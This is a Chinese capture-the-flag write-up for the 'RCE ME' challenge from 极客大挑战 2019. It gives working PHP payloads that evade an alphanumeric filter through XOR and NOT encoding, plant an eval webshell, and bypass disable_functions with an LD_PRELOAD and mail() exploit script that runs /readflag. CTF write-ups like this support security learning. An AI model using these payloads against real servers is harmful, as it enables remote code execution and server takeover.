[极客大挑战 2019]RCE ME

在这里插入图片描述
代码执行,过滤了字母数字,用异或或取反都可以

code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

在这里插入图片描述
发现过滤了大部分命令执行的函数,下面考虑如何绕过,有两种方法

①蚁剑插件

首先构造一个木马

code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=eval($_POST[%27a%27]);

在这里插入图片描述
flag无法读取,读取/readflag发现是二进制文件
在这里插入图片描述
在这里插入图片描述
② LD_preload + mail劫持so来执行系统命令
在这里插入图片描述
bypass_disablefunc_x64.so文件地址

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传exp.php

<?php
// exp.php
$cmd = "/readflag";
$out_path = "/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/tmp/exp.php%22;

在这里插入图片描述
关于LD_preload + mail劫持so

https://www.freebuf.com/articles/web/192052.html
https://www.anquanke.com/post/id/175403#h2-0
https://imagin.vip/?p=508
https://www.cnblogs.com/yesec/p/12483631.html
https://blog.csdn.net/crisprx/article/details/104349608
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值